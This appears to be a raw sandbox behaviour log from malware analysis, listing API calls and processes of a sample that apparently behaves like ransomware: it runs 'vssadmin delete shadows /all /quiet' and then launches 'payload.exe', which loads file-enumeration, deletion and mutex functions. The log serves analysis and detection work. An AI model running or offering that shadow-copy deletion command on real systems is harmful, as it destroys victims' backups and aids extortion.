lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.760] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.760] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.760] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.760] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0033.760] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.760] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.760] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f498, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesRead=0x14f498*=0x1, lpOverlapped=0x0) returned 1 [0033.760] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4cc320, cbMultiByte=1, lpWideCharStr=0x4a4ce366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0033.760] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.760] GetFileType (hFile=0xe8) returned 0x3 [0033.760] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.760] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.760] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.760] GetFileType (hFile=0xf4) returned 0x3 [0033.760] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.760] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a4cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0033.760] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4cc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14f478, lpOverlapped=0x0 | out: lpBuffer=0x4a4cc320*, lpNumberOfBytesWritten=0x14f478*=0x24, lpOverlapped=0x0) returned 1 [0033.760] GetProcessHeap () returned 0x2a0000 [0033.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4012) returned 0x2bf630 [0033.760] GetProcessHeap () returned 0x2a0000 [0033.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf630 | out: hHeap=0x2a0000) returned 1 [0033.760] GetProcessHeap () returned 0x2a0000 [0033.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xb0) returned 0x2b97e0 [0033.760] GetProcessHeap () returned 0x2a0000 [0033.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x22) returned 0x2b4610 [0033.761] GetProcessHeap () returned 0x2a0000 [0033.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2baa90 [0033.761] GetConsoleOutputCP () returned 0x4e3 [0033.761] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a4cbfe0 | out: lpCPInfo=0x4a4cbfe0) returned 1 [0033.761] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.761] GetConsoleTitleW (in: lpConsoleTitle=0x14f430, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.761] GetProcessHeap () returned 0x2a0000 [0033.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x218) returned 0x2b9910 [0033.761] GetProcessHeap () returned 0x2a0000 [0033.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x5a) returned 0x2b9b30 [0033.761] GetProcessHeap () returned 0x2a0000 [0033.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x420) returned 0x2b9090 [0033.761] SetErrorMode (uMode=0x0) returned 0x0 [0033.761] SetErrorMode (uMode=0x1) returned 0x0 [0033.761] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2b90a0, lpFilePart=0x14ecc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14ecc0*="Desktop") returned 0x25 [0033.761] SetErrorMode (uMode=0x0) returned 0x1 [0033.761] GetProcessHeap () returned 0x2a0000 [0033.761] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9090, Size=0x6e) returned 0x2b9090 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9090) returned 0x6e [0033.762] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.762] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x128) returned 0x2b5b70 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x240) returned 0x2a1ab0 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a1ab0, Size=0x12a) returned 0x2a1ab0 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a1ab0) returned 0x12a [0033.762] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xe8) returned 0x2b9db0 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9db0, Size=0x7e) returned 0x2b9db0 [0033.762] GetProcessHeap () returned 0x2a0000 [0033.762] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9db0) returned 0x7e [0033.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.762] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0xffffffffffffffff [0033.762] GetLastError () returned 0x2 [0033.762] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0xffffffffffffffff [0033.762] GetLastError () returned 0x2 [0033.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.762] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0x2b9ba0 [0033.762] FindClose (in: hFindFile=0x2b9ba0 | out: hFindFile=0x2b9ba0) returned 1 [0033.763] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0xffffffffffffffff [0033.763] GetLastError () returned 0x2 [0033.763] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x14ea30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ea30) returned 0x2b9ba0 [0033.763] FindClose (in: hFindFile=0x2b9ba0 | out: hFindFile=0x2b9ba0) returned 1 [0033.763] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0033.763] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0033.763] GetConsoleTitleW (in: lpConsoleTitle=0x14ef80, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.763] GetProcessHeap () returned 0x2a0000 [0033.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x21c) returned 0x2b9110 [0033.763] GetConsoleTitleW (in: lpConsoleTitle=0x2b9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.763] GetProcessHeap () returned 0x2a0000 [0033.763] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b9110, Size=0xc0) returned 0x2b9110 [0033.763] GetProcessHeap () returned 0x2a0000 [0033.763] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b9110) returned 0xc0 [0033.763] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0033.764] GetProcessHeap () returned 0x2a0000 [0033.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9110 | out: hHeap=0x2a0000) returned 1 [0033.764] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ed38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ecf8 | out: lpAttributeList=0x14ed38, lpSize=0x14ecf8) returned 1 [0033.764] UpdateProcThreadAttribute (in: lpAttributeList=0x14ed38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ece8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ed38, lpPreviousValue=0x0) returned 1 [0033.764] GetStartupInfoW (in: lpStartupInfo=0x14ee50 | out: lpStartupInfo=0x14ee50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0033.764] GetProcessHeap () returned 0x2a0000 [0033.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x20) returned 0x2b4640 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0033.764] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0033.765] GetProcessHeap () returned 0x2a0000 [0033.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4640 | out: hHeap=0x2a0000) returned 1 [0033.765] GetProcessHeap () returned 0x2a0000 [0033.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x12) returned 0x2b8900 [0033.765] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ed70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ed20 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x14ed20*(hProcess=0x50, hThread=0x54, dwProcessId=0x578, dwThreadId=0x574)) returned 1 [0033.770] CloseHandle (hObject=0x54) returned 1 [0033.770] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0033.771] GetProcessHeap () returned 0x2a0000 [0033.771] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb10 | out: hHeap=0x2a0000) returned 1 [0033.771] GetEnvironmentStringsW () returned 0x2beb10* [0033.771] GetProcessHeap () returned 0x2a0000 [0033.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xb0e) returned 0x2bf630 [0033.771] FreeEnvironmentStringsW (penv=0x2beb10) returned 1 [0033.771] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e628, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e628, ReturnLength=0x0) returned 0x0 [0033.771] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x14e660, nSize=0x380, lpNumberOfBytesRead=0x14e620 | out: lpBuffer=0x14e660*, lpNumberOfBytesRead=0x14e620*=0x380) returned 1 [0033.771] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x476eb000" os_pid = "0xad8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x714" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec75" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xbf4 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x473fc000" os_pid = "0x578" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x714" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec75" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x574 Thread: id = 21 os_tid = 0x210 Thread: id = 23 os_tid = 0x174 Thread: id = 24 os_tid = 0x18c Thread: id = 25 os_tid = 0x330 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x41fca000" os_pid = "0x9fc" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00084cb0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0x694 Thread: id = 28 os_tid = 0x95c Thread: id = 29 os_tid = 0x938 Thread: id = 30 os_tid = 0x8d8 [0043.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc1d9a0 | out: lpSystemTimeAsFileTime=0xc1d9a0*(dwLowDateTime=0xc8c98620, dwHighDateTime=0x1d681e0)) [0043.209] GetCurrentProcessId () returned 0x9fc [0043.209] GetCurrentThreadId () returned 0x8d8 [0043.209] GetTickCount () returned 0x114534f [0043.209] QueryPerformanceCounter (in: lpPerformanceCount=0xc1d9a8 | out: lpPerformanceCount=0xc1d9a8*=16294656225) returned 1 [0043.210] malloc (_Size=0x100) returned 0x428e80 Thread: id = 31 os_tid = 0x96c Thread: id = 32 os_tid = 0x8e8 Thread: id = 33 os_tid = 0x758 Thread: id = 34 os_tid = 0x828 Thread: id = 41 os_tid = 0xb40 Thread: id = 42 os_tid = 0x210 Thread: id = 44 os_tid = 0x478 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3d6cf000" os_pid = "0x8f8" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00085772" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 35 os_tid = 0xbe0 Thread: id = 36 os_tid = 0x730 Thread: id = 37 os_tid = 0xb04 Thread: id = 38 os_tid = 0xbf0 Thread: id = 39 os_tid = 0xbf8 Thread: id = 40 os_tid = 0xbdc Thread: id = 43 os_tid = 0x174 Thread: id = 45 os_tid = 0xadc Process: id = "7" image_name = "payload.exe" filename = "c:\\windows\\system32\\payload.exe" page_root = "0x15e41000" os_pid = "0x550" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x460" cmd_line = "\"C:\\Windows\\System32\\payload.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x554 [0081.782] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a40000 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcAddress") returned 0x75a51222 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleHandleW") returned 0x75a534b0 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="FindNextFileW") returned 0x75a554ee [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="FindClose") returned 0x75a54442 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="MoveFileW") returned 0x75a69af0 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileSizeEx") returned 0x75a559e2 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetModuleFileNameW") returned 0x75a54950 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetFileAttributesW") returned 0x75a51b18 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="ExitProcess") returned 0x75a57a10 [0081.782] GetProcAddress (hModule=0x75a40000, lpProcName="GetCommandLineW") returned 0x75a55223 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameW") returned 0x75a5dd0e [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetComputerNameA") returned 0x75a6b6e0 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="CreateMutexW") returned 0x75a5424c [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenW") returned 0x75a51700 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="lstrlenA") returned 0x75a55a4b [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcess") returned 0x75a51809 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForSingleObject") returned 0x75a51136 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetLogicalDrives") returned 0x75a55371 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetTickCount") returned 0x75a5110c [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteFileW") returned 0x75a589b3 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="WideCharToMultiByte") returned 0x75a5170d [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a51916 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="Sleep") returned 0x75a510ff [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="LeaveCriticalSection") returned 0x77d32270 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="ReadFile") returned 0x75a53ed3 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="CreateFileW") returned 0x75a53f5c [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="OpenMutexW") returned 0x75a55151 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="EnterCriticalSection") returned 0x77d322b0 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="WaitForMultipleObjects") returned 0x75a54220 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiW") returned 0x75a6d5cd [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="lstrcmpiA") returned 0x75a53e8e [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="DeleteCriticalSection") returned 0x77d445f5 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="ReleaseMutex") returned 0x75a5111e [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="CloseHandle") returned 0x75a51410 [0081.783] GetProcAddress (hModule=0x75a40000, lpProcName="GetVersion") returned 0x75a54467 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="CreateThread") returned 0x75a534d5 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="ExpandEnvironmentStringsW") returned 0x75a54173 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceCounter") returned 0x75a51725 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="QueryPerformanceFrequency") returned 0x75a541f0 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="GetCurrentProcessId") returned 0x75a511f8 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="SetFileAttributesW") returned 0x75a6d4f7 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="GetVolumeInformationW") returned 0x75a6c860 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="WriteFile") returned 0x75a51282 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="SetFilePointerEx") returned 0x75a6c807 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="SetEndOfFile") returned 0x75a6ce2e [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="FindFirstFileW") returned 0x75a54435 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="GetProcessHeap") returned 0x75a514e9 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="HeapReAlloc") returned 0x77d51f6e [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="HeapAlloc") returned 0x77d3e026 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="HeapFree") returned 0x75a514c9 [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="CreatePipe") returned 0x75ad415b [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="SetHandleInformation") returned 0x75a6195c [0081.784] GetProcAddress (hModule=0x75a40000, lpProcName="CreateProcessW") returned 0x75a5103d [0081.784] 